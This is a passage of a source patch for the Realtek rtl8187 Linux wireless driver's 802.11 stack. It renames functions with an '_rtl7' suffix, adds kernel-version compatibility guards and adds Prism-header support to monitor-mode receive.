ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1401,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1419,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_module.c 2010-05-19 22:22:09.069343493 -0700 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -112,18 +117,22 @@ IEEE80211_ERROR("Unable to network device.\n"); goto failed; } + +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,0) ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; +#else + ieee = (struct ieee80211_device *)dev->priv; +#endif ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +147,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +158,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +176,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +184,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +200,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +219,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +252,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +277,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +291,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_rx.c 2010-05-19 22:21:30.641869318 -0700 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,94 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + + hdr->mactime.did = LWNG_CAP_DID_BASE | (2 << 12); + hdr->mactime.status = 0; + hdr->mactime.len = 4; + hdr->mactime.data = rx_stats->mac_time[0]; + + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +139,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +169,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +208,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +221,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +231,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +253,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +262,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +328,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +369,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +379,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +414,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +424,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +442,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +488,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +511,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +519,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +556,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +576,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +604,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +630,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +648,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +658,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +681,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +694,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +705,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +739,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +749,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +769,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +797,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +838,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +936,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +976,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +993,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1044,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1071,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1094,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1123,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1195,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1227,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1235,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, 